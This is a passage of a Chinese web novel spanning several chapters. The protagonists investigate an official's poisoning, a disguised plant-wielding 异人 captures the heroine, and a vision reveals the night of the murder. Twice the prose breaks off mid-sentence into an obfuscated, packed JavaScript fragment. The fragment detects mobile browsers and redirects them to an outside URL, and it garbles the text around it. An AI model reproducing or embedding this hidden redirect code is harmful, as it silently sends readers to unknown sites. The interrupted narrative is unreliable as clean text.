茶香袅袅,在他唇边氤氲开,阿旎被不经意地一瞥余光吸引过去,却只见司空翊敛着眸顾自品茶,想不通这人怎么光喝茶,不吃菜? 虽然这副容貌确实秀色可餐,但是一桌美食放着变凉实在暴殄天物。 “那是!梁夫人的侍女如霜经常到一柳街那家药铺取药,我撞见了好几回了。我向那家药铺的伙计打听过,说是退妊方。八成是她在外怀了别的男人的孽种,月份对不上,怕梁大人发觉。” 感知到阿旎的目光,司空翊抬眸看过来,掠过桌上的菜肴,突然像是明白了她眼里的期盼般,低声说:“吃吧。” 阿旎眸光一亮,瞬间巴结地“谢谢公子。”毕竟吃人嘴软,自己一个跟着沾光的人怎么也要看主人的脸色不是?眉开眼笑地动手拆起了羊腿,津津有味地听小二回忆。 “梁大人的好些个僚属都想给他介绍侧室,梁夫人不同意,一哭二闹三上吊了好几次,让梁大人发誓此生不纳妾还不做罢,还要求他就算以后自己死了,梁大人也不能再娶。 而就一年前,有个从战地逃亡过来的绣娘给梁大人送了个自己绣的平安袋感谢梁大人,她怀疑二人有私,竟让人把那绣娘的外衣扒去,要梁大人当街回绝,简直一点脸面都不留给梁大人。气得梁大人直接愤然离去。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751393|157631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小二说到这也开始有些忿忿不平,义愤填膺道。 “这等狭隘妇人,也不怪梁大人会另寻他人。” 几人闻言未语,屋子里就这么安静了下来,小二莫名有些尴尬地挠了挠头。 阿旎一手拿着个羊腿啃得正香,见他似乎交代得差不多了,又问。“昨日刘少爷在哪间雅间,约了哪位朋友?他玉佩丢了,央我们帮他找呢。” “哦刘少爷昨个就在楼下地字一号,至于什么朋友我没注意。” “那你知道王首富家的王小姐昨儿在哪个雅间吗?” “王小姐?”小二思索了一会儿,摇头,“没有看见王小姐来过酒楼呀。” 难道是她想多了?昨天看见的人不是王小姐? 阿旎的表情一滞,看着小二微微走神,手里的羊腿都忘了啃。 小二被她看得有些紧张,忙转头又叫来一个年轻的少年,去将酒楼里伙计都问了一遍。 所有人都说昨天没有见过王小姐。不过,倒是意外得知了刘少轩昨日所见之友名叫柏生。 由于长相还算清俊,右眼眉窝有颗不大不小的痣,不少人对这个身形瘦削的文弱书生都有印象。 初见时是在前天深夜,临近酒楼打烊时,风尘仆仆的主仆二人来住店。 关门的小二犯懒,本不想招待,便招来了他身边仆从的呵斥。 还是柏生好言相劝,主动表示愿意付三倍的价钱。 小二见他出手大方,虽然穿着低调素净的白衣,却能看出出身良好,为人又谦和有礼,便给他开了那间地字一号。 “昨夜他在房里听台上说书,我正好在上菜,路过的刘少爷瞧见了,直接迈步而入,拦都拦不住,还喊他什么……白来财。我还以为我听错了,现在看来真是!我说他一个岳东薄奚世家的公子,怎么见了刘少爷那般殷勤,又是亲自倒酒,又是点头哈腰的,昨夜还连夜退房走了!原来是做贼心虚啊!” “岳东薄奚世家?很厉害吗?”阿旎不解。 “那是!以即墨王庭所在的天玄山为界,天玄山以东,称岳东。薄奚世家虽然只有短短百年基业,如今却是岳东的第一大世族,掌控着岳东各城各行各业的命脉。在即墨的影响力甚至开始与岳西有着千年底蕴的司空家族不相上下。只需弹指,天下一切皆可随意翻覆,怎还需做那偷鸡摸狗的事?” 司空翊听着不置一词,雨鲸却冷嗤了一声,“妄图翻覆天下,薄奚氏可真是好大的胆子”。 阿旎刚想去夹那盘里的肉丸子,别致一格的素绿装点着饱满圆润的金黄,勾起了她的好奇心也勾起了她的胃口,筷子一偏,丸子差点滑出去。 她偷偷瞄了旁人一眼,转而用筷子一插,送入口中,没想到果然格外地好吃。 小二讪讪,见状说了句几位慢用打算退出去。阿旎连连点头,边又吃了个丸子。 不料耳边传来提醒,“别忘了,你还要去王府。” “可这么一桌子菜没吃完呢?你不吃?” 视线中的人只垂眸品茶,默然却似是否定的回应。 浪费! 阿旎暗骂了句,转念一想,“那我可以带走吗?” 她搓着手,见他依旧不语,了然,转头便对小二嘻嘻一笑,“麻烦帮我打包带走。” 突然司空翊轻飘飘的一眼扫过来,“你也不怕有毒。” 阿旎的神情瞬间凝固了,有毒吗??? 可司空翊拿着茶杯轻轻晃了晃,赏看着杯底的茶,云淡风轻的笑意微微扬上嘴角,“这道菜,名一香殊色,原料,一香宁。” 然后不管她死活的,一杯茶泼了过来。 7. 缘起南梦·柒 茶水轻盈砸到阿旎身后的门扉上,竟让榆木发出了结实有力的声响,门外同时传来一声低嚎,随即便是人体跌到地上的声音。 屋里的小二当即被吓得不敢动弹,雨鲸一把拉开门,鱼贯蹿出,便制住了试图从地上爬起的男人。 还没弄明白这一切怎么发生的阿旎呆了愣,愣了惊,惊了又气,唰地一下站起,抬手抹掉脸上一把茶水,回头去看,门扉上似乎结起过隐约的冰霜,但很快就消散而去,只留下了一片流痕的水迹。 司空翊握着茶杯的手用力紧了紧,似乎在抑制着什么,又像是在抑制着微不可闻的颤抖,幽冷目光从对面移回来就只失神地在意着眼前圆小的一隅。 但也仅仅只是一瞬,很快他就将放回桌上的杯子松了开来。 阿旎后知后觉地回过神来,了然他大概是发现了门外头偷听的人。虽然不知道是什么神奇又厉害的术法,竟然可以隔门施展,可是她不明白,“你抓人就抓人,你泼我干嘛?!” 咬牙切齿无奈且无力。 可这人丝毫没有一点解释道歉的自觉,只顾自起身,将虚握的右手藏置身后,就信步掠过她,看向了被雨鲸拖进门的男人。 “别来无恙啊小公子,别来无恙。”男人中年模样,满脸堆笑,叠起褶子的眼角藏着圆滑讨巧的阅历,双手抱拳朝着司空翊连连作揖求饶,“我是曲灵智,您还记得我吗?您幼时我还照看过您呢。” “曲灵智?” “是啊!我与镶华女君是旧识。早年我家道中落,孤儿寡母被迫离开黍离城,过路的盘缠没多久就花完了,我和娘一路乞讨,几天吃不上一顿好,那时我娘怀着幼弟,半路早产,如果不是刚好路过若水城,得女君出手相救,我娘与幼弟恐怕早就命丧黄泉了。” 曲灵智如数家珍,见司空翊冷漠的神情有所松动,似乎是对他所说有了些印象,急促地语调才缓和了一些。 “那会儿我想着报恩,提出给女君作仆,可女君心慈不愿让我被血契困囿,又拗不过我,就让我跟在身边做了几日事,那时女君见我想和您玩,还主动让我抱抱您。没想到后来一别数年过去,唉物是人非。这些年我一直在南梦城,这不,听说您来了南梦,我就想着一定要来见您一面。” “好说。” 司空翊不喜不怒,曲灵智却嘿嘿一笑,“您此程来到南梦逗留多久?是要住这还是另有安排?我是这里的老板,您有什么需要一定要和我说。” 只是他目光一转,看到桌上的菜,转而就对着一旁的小二发火斥责,“柱子!你是怎么伺候的,怎么能给公子上这种上不了台面的乡间陋食。” 曲灵智指的乡间陋食正是那“一香殊色”,这阿旎可就坐不住了,“你是这里的老板?这菜能吃吗?!!!还是说就是你想毒死我们?!” “不不不,这菜没毒!这位……”曲灵智上下打量了她一下,“姑娘,这一香殊色是碧云乡的特色菜肴,别看是山间野菜,但是却是不可多得的美味,碧云乡家家户户基本都吃的!而且经过我们的精心处理,已无毒性。” “野有异草,其名一香,形而齿状。虽貌不扬,取之入食,可增添香味,却易上瘾;煎服不当或配之饮酒,过量则致死。”司空翊悠悠念出典籍上的作解,话音里却莫名多了些玩味。 “对对对,因为它本身的毒性,常常被用来制作毒药,一注香的时辰便可让人毙命,又称一香宁。”曲灵智连连应和,不想下一秒听司空翊说。 “可梁大人的死却与其有关。” 曲灵智当即乱了阵脚,“这……这可不能乱说啊,梁大人……怎么会……” 梁大人的死因并没有对外公布,是以民间谣传了好几个版本,却没想到如今被指控成元凶,柱子小二也有些慌了,“我们每单菜品都有留存记录的,今日上的菜和昨日的一模一样,绝无半点不实,公子可看留据一查!” “对对对,”曲灵智像是想起了什么,赶忙让柱子带着雨鲸去取记录。 随即倒了一杯茶,双手递到司空翊面前,“公子可是在调查此事?” 小心翼翼的言语仿若在试探什么,可司空翊一看过去,他又眯眼笑了笑。 司空翊将茶接了过来,“本是路过罢了,却无奈卷入其中,如今梁大人一案不结,我等也难以抽身。” 清茶不盈不满,堪堪盛在杯沿线以下,可他持赏着,却没有喝。 阿旎生怕他什么时候又一杯茶泼过来,不禁悄悄与他拉开了一点距离。 不料自己不动声色的挪脚还是被他察觉,余光扫来,似有冷哼从胸腔于鼻息漫开,细不可闻。 阿旎直觉进了狼窝,抿着嘴唇扯了个微笑,又连忙假装眼观鼻鼻观心。 恰逢回来的雨鲸将两本册薄递到了司空翊面前,让她默默松了一口气。 司空翊不为所动,便又向她扫来一眼。 正想着“之后一定要找机会逃跑”的阿旎心虚不已,差点以为自己把心里的想法脱口而出了,随即看见他示意般的目光再次落向册薄,明白了这人是在差使她干活,当即很快地认命伸手接过,翻看了起来。 封皮写着“留单”的册薄上,日期从今年年初有序地标注到了今天,详细记录了每天的客流和菜品,阿旎与雨鲸一一比对着,发现确实没有任何异常,就连梁大人昨个没有点酒,今日也没给他们上酒。 而另一本则是账簿,精细记录了当天的每笔入账,与留单上的记录完全契合。 雨鲸对着自家主子点了个头。 “公子,我就说我们酒楼向来老实本分做生意,是绝对不会和什么命案扯上关系的。”曲灵智见证明了清白,谄媚的笑容都轻松自然了不少。 随即主动殷勤地伸出手,就想从依旧盯着册子看得入神的阿旎手里接回册薄。 阿旎回过神,指着册页上方其中一条目,又问,“还有一事,昨日玄字二号的客人是什么时候走的?” 王老板声称自己女儿在满堂香楼被刘少轩下了药,可这里的小二却都说没有看见过王小姐,结合她昨天遇见的怪事,这里头处处透着蹊跷。 “玄字二号?”小二思索着,摇了摇头,“这不清楚,这厢客人只点了些糕点小食盘,应该是来相会的男女,特意交代了不让打扰。大概亥时前?台上歌舞散场那会儿就走了吧,当时人多没注意,反正后来我到楼上收拾,就看见紧闭的房门打开了。” “你可知那二人身份?” “不知,那女子戴着面纱,看不清容貌,那男子也是个眼生的。” “确定王小姐没来过酒楼?” “当然!这王小姐自从第三任丈夫死后,便好像受了沉重的打击,原本喜欢逛街热闹的人,现在几乎大门不出二门不迈,而且王小姐额头上有一道很显眼的疤。” 小二说着指了指自己左侧额骨上方发线处,“大概这个在这个位置,当年她和第二任丈夫一起出游时不小心磕到了山石上留下的,像一枚倒挂的月牙。一开始人因为破了相还郁郁欢欢了许久,王老板寻遍天下名医,都没法让她恢复容貌,但是自从王小姐遇到她这第三任丈夫,对方不仅没有嫌弃她,还将她视若珍宝,王小姐出门就也从来不遮掩了。” 似乎是看出了她的猜想,小二的回答信誓旦旦,“如果她来了酒楼,就算戴着面纱,我们也不可能认不出来。” 阿旎回忆着昨夜的情形,女子光洁的额头上并没有任何疤痕,而且她醒来时,房门是关着的,也就是说小二后来上楼看见的门,是她自己离开时打开的…… 抱着册薄,她的视线落在窗外折下的一个光点上,不知不觉便失了焦点,落入旁人眼里,神色都有些凝重。 “阿旎姑娘,可是还有什么疑虑?” 曲灵智一双打算拿回册薄的手停在半空中,表情都有些讪讪。 见阿旎没有搭理自己,又强调,“有任何问题您尽管问,我们酒楼小二一定都知无不言,言无不尽。” 紧接着转头又连忙对着司空翊表忠心,“如果公子您有用得上的地方,随时差遣,灵智一定肝脑涂地。” 司空翊没有多管一旁的阿旎,微品一口清茶后,摩挲着茶杯外 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王府家丁在得知来意后,很快将他们带到了大堂,来回踱步的王首富一见二人,脱口而出的焦急差点失了礼仪,“哎呀你可算……”,只是一看向司空翊瞬间又有些忐忑了。 这玉面郎君生得俊俏,此时一张无波无澜的脸上并不显冷傲,仪态举止也透着文雅,端看只是个富家少爷,却莫名令人横生距离感。 他今早瞥见门外一道冷肃背影,回来后便打听了一圈,却不知他们南梦什么时候来了这么个人物,这会儿也不知如何是好。 微微行了个礼节,又试探,“不知贵客如何称呼……” “鄙姓司空。” 王首富闻言,瞳孔一扩,嘴巴瞬间都张开了,随即脸色很快变得诚惶诚恐,连忙表示尊敬示好地请他们落座看茶,却不想却被司空翊拒绝,“无妨,令嫒事急。” 而阿旎快速在脑子里过了一遍这个姓氏在九神洲上的势力,错愕目光凝滞了一两秒,撞上他看回的视线,才转头对王首富问:“王老板,我们想尽快见王小姐一面。” “贵客快请。” 王首富没有让随从跟着,亲自带着他们往内苑走,边一路说着昨晚事情的经过,行至一处华美房舍前,刚好看见一个侍女从里头出来,迎上他们施了个礼,得知众人来意,便又顾虑开口。 “老爷,小姐现在不想见到任何一个男子……” 王老板生怕得罪了司空翊,为难地目光在他二人之间游移了一个来回,“公子,阿旎姑娘……” 倒是司空翊主动出言,打消了王首富的顾虑,“我在此等你。” 阿旎点了点头,想来只是确认一下王小姐长相,跟着侍女走出回廊,行至石道尽头,进了房里。 屋里没有点灯,窗牖在临近夜幕的时分紧闭着,特地加了遮帘,入目昏黑,只有从门外泄进的一线光亮照出了些许陈设的大致轮廓,而通往女子闺床的内室还被两道厚厚的垂帘隔着。 “小姐在睡着,不喜点灯。姑娘见谅。”侍女说着,撩开垂帘,“小姐就在里头,姑娘请进。” 内室的环境如出一辙的黑沉,阿旎下意识观察起四周,只猜架子床上隐约是个侧躺的人。 霎时啪嗒一声,门就从外头关上了。 一回头,一旁侍女已不见踪影,不知是何时退了出去?只剩下了她一人。 乌压压的一片漆黑,在闭塞的环境里笼来了无尽的阴森。 纵使阿旎视力再好,一时没有适应,也不小心绊了一下。 双手摸瞎地扶稳脚边的杌凳,才大概了然跟前应该有一张桌子,她小心翼翼地缓步向前,不禁试探出声。 “王小姐?” 心里莫名预感不妙,她在无声回应中悄悄掉过头。 不料,不知从哪儿突然钻出来的藤条瞬间缠绕上她全身,很快将她裹紧不得动弹,连她下意识的惊叫呼救都扼杀在了咽喉里。 像是丛林里捕捉猎物的巨蟒,藤条拖着她的身体疯狂往后拉扯,不多时就将她凌空吊起,把她钉在了床周的脊桁上。 系在腰间的食袋一掉,落在地上发出了沉闷的声响。 8. 缘起南梦·捌 藤蔓绞着她的身体越缠越紧,很快让她感到了濒临死亡的窒息,阿旎挣扎着,放大的瞳孔里被泪湿充涌,不多时便不自抑的从眼角滑落了下来,她死死盯着面前的幽暗,不是很愿意相信,她今天就要死在这里了? 眼前倏地亮起了一道烛光,将她从无尽地狱拉了回来。 随即一张脸猛地凑到了她面前,吓得她直接闭上了双眼。 半晌,只觉隐约的光线在面前游移,似是有人拿着烛火在她脸前上上下下晃了晃,细细观察一般。 阿旎慢慢睁开眼,才发现是一个面容姣好的女子。 容妆素朴,一身墨绿衣袍,并无一点华丽修饰,繁复精巧的发髻只被一支形如珠钗的青色藤枝斜斜绾着,光洁的额头上没有一点疤痕,本应妩媚多情的细长柳叶眼,此时却透着一种审视猎物的凌厉,正是当初她在酒楼看见过的那双眼睛。 “你……不是……王小姐……”阿旎艰难地从喉咙里发出了细细碎碎的声音。 “想不到,这世上竟然还有没有入籍的异人。”绿衣女子没有在意她已然暴露的身份,顾自感慨着,又极其迫切地追问道,“你的能力是什么?” “我不……知道……你在……说……什么……” “别撒谎了。”女子轻笑了声,悠悠吐出的言语却有些阴阳怪气。“我们是同族,你骗不了我的。” 可随即上下打量过被藤蔓裹着不得动弹的阿旎,又有些嫌弃,“可是看你这手无缚鸡之力的样子……你的能力到底是什么?” “你先……松开……我,我……告诉你……” 似是判断了她并不具备威胁,女子微微垂下眼帘扫了阿旎被紧勒的脖颈一眼,眉目稍稍舒展,裹在她身上的藤蔓才稍稍松开了一些。 阿旎从没想到会在这里见到自称是自己同族的异人。 据她所知,天下异人虽不知凡几,却也不过寥寥而已,加之当年神族的捕杀,世间所剩的异人大约只有半数,而今又无不入籍善缘司。 这还是五年前她流浪渭阳时,在神族为了彰显设立善缘司一举达成两族和平的成效,对世人颁告的昭告书上得知的。 她一直极力掩饰自己的身份,就并没有被发现过,即使是偶然遇见了善缘司的职官,也会尽量避开他们。 或是出于对神族订下的公认秩序的所谓的正义维护,又或是出于对还未失去自由的同族的不甘与嫉妒,她就曾经见到过一个异人在自己同族手下吃了亏,本应勠力同心的族人,却漠然替神族搜寻同类,残忍将之告发,冷眼看之被处死…… 流畅的空气带回了一点安全感,阿旎缓了一会儿,没有立即回答绿衣女子的问题,也没有选择呼救,既然先前的动静一点也没有引起外头的人的注意,那就说明呼救并不管用,而是问,“你是怎么知道我的身份的?” “我们族人天生可以感知到同族人的存在……”绿衣女子抚了抚自己的长发,并不以为意,只是理所当然地说着,片刻又迟疑地看向她,“你不知道么?” 阿旎从来没有听说过这件事情,突然一股寒凉冷意从背后卷涌上来,仿佛有一双无形的手在拉着她置入了冰冷的湖水。 所以,无论如何拼命奔逃,最终都一定会被发现吗? “你千方百计引我们……不,引我过来,应该不只是为了确认我的身份,知道我的能力吧?” 先前所有的怪异之处串联起来,形成了一条清晰的明线,阿旎已几乎可以确认,昨晚在满堂香楼的所见,不过是眼前人的自导自演。 “当初在酒楼里你明明发现了我,却没有选择当场抓住我,而是大费周章的演了一出戏,为什么?” “你还没回答我的问题呢,却耍机灵地反问起我来了?”女子轻瞥了她一眼,显然有些不满。 阿旎无奈叹了口气,“告诉你也没关系。我可以预知未来,通过梦境,占卜……” 不想对方颇为嗤之以鼻,“听起来很一般。” 确实挺一般的,阿旎自嘲笑了笑,不然她怎么没有料到这会儿会落入这样的境地? “现在你能回答我的问题了吗?” “我确实只是想知道你的能力。”似是顿时没了兴趣,绿衣女子说着,拿着烛灯转过身,就欲要往回走,“昨日在酒楼不过多有不便。” “所以,你策划这一切,是为了什么?真正的王小姐呢?刘少轩的玉佩又在哪儿?你为什么要诬陷他?那个当时与在你一起的男子呢?” 绿衣女子突然停住脚步,再次回头看了过来,施施然开口,“既然我们是这个世上唯二没有入籍的异人,不如我们做个交易。你帮我一个忙,我让你过上你想要的好日子。” 想要的日子? 如果她说,她想回到昨天以前,想脱离外头的人的掌控,能做到吗? 她倒是想啊,可是她已经被神族的人抓住了,正无奈替他们卖命呢,阿旎暗暗腹诽。 不禁冷笑了声,“你所谓的好日子,是什么?你不过也只是个鸠占鹊巢的假货而已。你我身份一旦暴露,不入善缘司,便只有死。” “王小姐?”滑稽笑声伴随着这一声反问在室内漫开,绿衣女子像是听到了什么天大的笑话。半晌才停下来,幽幽道:“王小姐早就死了。我不过是还爱女心切的父亲一个心愿而已。” “王小姐死了?” “是啊,早在三年前,她的夫君在去替王家讨债的途中染上恶病,她积郁成疾,没过多久便也随之撒手人寰了。可怜王老板被那无良方士欺瞒行骗……” 纵使一开始就知道所谓海云方士的心头血不过只是装神弄鬼的骗术,却没想到是这样的结果——曾被断言天命的女子,早已不偏不倚地走完了她的结局。 阿旎的心忽而沉了下去,声音也跟着沉了下来,“你想我帮什么忙?看在同族的份上,我愿意听一听,如果在我力所能及的范围内,我倒是可以考虑考虑帮一帮。” 绿衣女子似乎是没料到她会突然改口,瞳孔微微一颤,片刻后,又一抬手将她从藤蔓中放了下来。“我需要梁府中的一样东西。” “你要我帮你拿到它?”阿旎趴在地上,揉了揉勒疼的胸口。 “正是。那东西是梁夫人的陪嫁,这么多年一直当传家宝藏着,我实在无计可施。” “那你凭什么认为我可以?” “所以我才嫁祸刘少轩啊,”绿衣女子似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751395|157631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答非答,仿佛说了一个谜语,将烛灯往桌上一放,便在杌凳上坐了下来,身子微朝桌沿一倚,恣意翘起了一双细腿。“听说梁夫人待她这个侄子格外亲近,简直就像亲儿子一样,我想如果让梁夫人把她的宝贝拿来换自己侄子一命,应该不会不同意的。但是现在你参与了进来,更方便了是不是?” “那是什么?” “一支簪子。” “它对你有什么特殊意义?” 绿衣女子默了片刻,才道,“故人之物,遗愿未了,我自当替他寻之。” 暮色不知何时已悄然降临,阿旎刚走出房门,就看见圆月嵌在鎏金之上,落到等在院中的人身上一道霜华。 听到动静,他回头看了过来,面色无常,一切都与之前无异,看来先前确实并无所察。 而大概是怕下人惊扰了司空翊,客气的王老板亲自端着金盘穿过廊道,进入凉亭,便又往那已经摆了满桌的石桌上添了一道佳肴。 “阿旎姑娘,小女……”王首富看见缓步走来的阿旎,眼里不禁跃起一道希冀的光,担忧又紧张。 “放心,我已见过王小姐,了解了王小姐的情况,心中已有解法。” “当真?” “嗯,待我寻来一物……”阿旎说着,微微一顿,终只是说,“设下术法,王小姐的病症自会化解。” 王首富本想留他们用膳,可见他们提出作别,事态又确实紧急,刻不容缓,也不再多留。 彻底入了夜的星梦河镶在辉煌华彩之中,桥上人来人往,喧闹又比白日多了一倍。 然而此时的阿旎心不在焉地走在后头,没了白日新奇张望的神采,也没有一点紧迫的样子。 离她走出几步远的司空翊慢慢停下了来,回头看她,她微低着头,就也没有发觉。 突然心口处传来一阵钻入骨髓疼痛,将混乱脑海中的所有思绪生生破开,阿旎秀眉一蹙,不由抬手捂上胸腔,停下了脚步。 油涌人潮于她身侧穿行而过,灯影游移,而那人于朗华流光之中定定看着,静如止水,眉目清冷。 眼前的景象忽而变得摇晃迷糊,忽而又清晰无比,虚虚实实交织着,重重叠叠似曾相识,恍如长夜里做过的一场幻梦。 阿旎一只手捂上脑袋,使劲摇了摇,努力让自己恢复清醒,可是旋转的天地却依旧在眼前摇摇欲坠。 她不禁闭上了双眼,缓了缓。 再睁开时,却看见那道高大的身影不知何时站到了她面前,单手撑着她的小臂,扶住了她。 见她站定又松开手,从虚空中变幻出一个琉璃小瓶子,移到了她面前。 “饮下。” 阿旎戒备地盯着司空翊的脸看了一会儿,又看向眼前的瓶子,伸手拿过喝了,才感觉心头隐隐的疼痛有所缓解,精神也好了一些。 后来看见手里的琉璃瓶简单却别致,想了想又塞还给了他。 司空翊有些没料到,低头看了一眼,随即瓶子在摊开的手心中浮起,不多时便如融雪在虚空中悄然消逝,“你有瞒?” “没有。”想起在“王小姐”屋里发生的一切,阿旎摇了摇头,“我想到破解梁大人遇害案的办法。” 9. 缘起南梦·玖 回到梁府,阿旎就与梁夫人询问起了传家宝一事。 梁夫人听闻,脸上闪过一丝不自然,眉眼一敛,拿着帕子掩了掩口鼻,“我哪有什么传家宝啊,我们刘家不过小门小户,当初陪嫁也就一些布匹首饰,这几年都用来贴补家用、裁做了衣裳,我那妆匣子里早都不剩什么了。” 阿旎有些不信,据“王小姐”所说,那是一支金蝶云凤纹宝簪,通体为赤金,精工雕刻云凤纹,簪上双蝶相依飞舞,样式极为特殊。 原本是她一位故人的遗物,误被梁夫人夺去,便称是传家宝,占为了己有。 虽说“王小姐”对她有所隐瞒,但不管其所言真假,来历、原属于谁,此时急寻此物,如果不是有些线索,“王小姐”也不会盯上刘少轩。 “梁夫人你好好想想,这可关系到刘少爷的性命呢。” “姑母,你不是有一支彩蝶……”先前听了描述就陷入沉思的刘少轩突然抬起头,从座椅上弹起来,拉着梁夫人的胳膊手臂疾呼道。 梁夫人脸色一僵,冷眼偏头看向他,抬手就往刘少轩脸上扇了一嘴巴子,“你个混账东西!早前你让家里的铺子亏了钱,我拿了不少首饰帮你赔,你还有脸说?” 随即扫开刘少轩的手,一副恨铁不成钢的模样。 刘少轩显然没想到会挨一巴掌,捂着脸就默默低下了头。 屋里一下陷入了沉默,梁夫人理了理自己的衣袖,又放平了声音。 “不信你到我房里去看看,我骗你作甚。” 梁夫人一副被误会了的无辜状指向门口,似是在对刘少轩数落,又似是在对阿旎说。 侍女如霜领命带着阿旎去了后院房中,打开妆台前一盒妆匣子,就递给了阿旎。 阿旎翻看了一会儿,只见妆匣中只有几支简单的珠钗、两副如意镯子,和三对宝玉耳坠,然后就是几条珍珠项链。 见状,阿旎将妆匣还给如霜,又问如霜能不能再看看妆台下的屉子。 如霜面上有些被质疑的不悦,但还是应允下来。 阿旎很快就这几个屉子查看了一番,见还是没有“王小姐”所说样式的簪子,终是心下一沉。 “阿旎姑娘,可还有什么疑虑?”如霜冷冷说道。 阿旎摇了摇头,将屉子推放回去,无奈说,“那只能让刘少爷自求多福了,没有那支簪子,我也无计可施。” “听说以往海云方士只凭心头血便可解咒,你却需要什么传家宝,怕不是冒牌的海云方士的徒弟吧?”如霜抱着那一盒妆匣,盯着她质问。 “师父是师父,他有他的能力,而我只有他老人家一半的水准,自有我的法子,如若你不信,那便罢了。” 阿旎也不知道如霜眼里的敌视嫌恶因何而生,若只是因为忠于主子,显得过于牵强了,耸了耸肩,背着一双手,大摇大摆地走出了梁夫人的房门。 晚风呼呼刮着,阿旎刚在回廊里看见了把雪院严守成牢的官兵随从,又听闻身后传来窸窸窣窣的声音。 她停下脚步,回过身,便见一旁雪地上停落着一只白蛾,一条细腿朝着她上下摆动,就像是在对着她招手。 犹疑思索了片刻,阿旎刚想走过去,突然迎面看见如霜匆匆追来,她脚步一顿,近前的如霜抬手就往她肩头上推了一把。 “你个小乞丐,竟敢盗偷夫人的金戒!” 阿旎还没反应过来,就被泼了一道脏水。 “什么金戒?我不知道你在说什么。” “夫人妆匣里原有一枚金戒,你刚碰过妆匣,金戒就不见了,不是你偷了,金戒怎么会不见?” “谁知道什么金戒,我根本没看见什么金戒。” “你还敢撒谎?把金戒交出来!” 如霜不依不饶,争吵瞬间引来了雪院中人的注意。 司空翊和雨鲸闻声从屋内走出,就看见了纠缠不清的两人。 “何故在此喧扰?”雨鲸出声质问。 如霜转头看见他们,指着阿旎就控诉,“这小乞丐借着查看夫人的妆匣,盗偷夫人的金戒。” “我没有,那妆匣里根本没有什么金戒!” “怎么会没有,那金戒是夫人出嫁前老夫人特地找金匠打的,我每天清点夫人的首饰都会看见,偏就今天不见了,不是你还有谁?” “刚才摸过妆匣的又不是只有我,谁知道是不是你偷了?” “你满嘴胡言!” 如霜听了气得不轻,也不顾一旁都有谁在场,扑上阿旎就撕扯起来。 阿旎比如霜轻瘦一些,很快居于下风,就被如霜骑压在了身下打,可阿旎不甘示弱,抓上如霜的头发,用力一扯,瞬间让如霜发出了几声尖叫。 趁着如霜分心去捂自己的头皮,她翻身而上,反压如霜。 这下如霜更加恼火了,嘶吼了一声,抬手抓上阿旎的头发。 阿旎忍着疼痛,两巴掌甩到如霜脸上。 雨鲸本欲上前拉开二人,可是看了一旁漠然不置一词的主子,又停下了动作。 “你在干什么?” 忽然一声冷厉女声从回廊里呼来,梁夫人带着梁思思和家仆走近,两个家仆很快上前拉开了阿旎。 如霜见势坐起就又往阿旎身上踢了一脚。 “梁夫人。”清沉的声音不疾不徐,听不出情绪,却似是一声警告。 梁夫人往司空翊这边看了一眼,又忙开口喊道,“如霜!” 制住阿旎的家仆得了梁夫人的眼色,这才松开她。 阿旎愤懑的从地上爬起来,抿着唇将贴在脸上的凌乱鬓发剥开,心口皆是不平的起伏。 却听梁夫人幽幽说道,“金戒不见就不见了,就当是给轩儿积德了。毕竟我拿不出那解咒需要的宝贝,实在无能为力,也只能这样了。” 话里话外像是在暗指什么,阿旎受不了被人平白诬陷,当即又出声辩解了一句,“我没有偷!” 梁夫人凝视了她一会儿,又说,“没有便没有吧。” “你……”阿旎有口说不清,指着她气结语塞。 可梁夫人丝毫不理会她的控诉,仿佛哀莫大于心死,自顾微微朝着司空翊行了个颔首之礼,说道,“几位请便。”就带着一行人离开了回廊。 徒留阿旎站在原地攥着拳头,盯着他们离去的背影咬紧了牙根。 “过来。” 司空翊喊道。 阿旎气呼呼地回过身,顶着一个乱糟糟的脑袋走向雪院,耷拉着头没有去看他。 司空翊低凝着她一张白皙俏脸,两三道指甲的抓痕在上方沥出了鲜红,尤为扎眼。 半晌移开目光,又看向了墨如深海般的夜空。“让你自己去趟梁夫人的院子,你倒好。” “我才不稀罕偷她的什么狗屁金戒。”阿旎含着郁闷低低喃语。 司空翊眼睑微敛,余光斜斜看了她一眼,“可是你打不过别人,就活该被人打。” 其他同理。 说着,他转回身往屋子走。 阿旎撇了撇嘴,看向那头雪地上已然消失的白蛾,摸进衣襟里掏出一块手帕,翻出包裹其中的一枚金戒,愕然一愣。 但很快她就将神情隐藏,跟在其后进了屋里。 取下发梢绢带上衔坠的金羽,在手中幻化出蓝紫色的火焰。 火焰覆上金戒,变成一朵绽放的幽昙,飞向远空,现出了一副景象。 以梁夫人的视角,看见了一日前,梁大人遇害事发当日。 “刘进,你什么意思?” 紧闭大门的屋子里,仅有几道烛光曳曳,照着面前的男人一脸深沉。 他微低着头,垂着眉眼,任凭劈头盖脸的责骂随着激动的口沫扑面而来。 “当初我为你了不惜与家里决裂、和你私奔,不惜小产伤身,受尽千夫所指,可你呢,你却丢下我一个人远走他乡,成家立室好生快活,如今又要留下我一人被梦魇夜夜折磨,你还有没有心?有没有心?你对得起我么?” 未梳妆容的梁夫人一头长发随意披散着, 指着刘管家痛心疾首,说到最后好像失去了理智,怒而扑上前,双手砸到他身上打了两下,又狠狠摇晃他的肩膀。 刘管家只稳站着,一言不发,直等到梁夫人闹累了,停下了责打,才抬手扶着她一把。 “你放心,我会替你解决完后顾之忧再离开,届时你只需安心享你的福罢。” 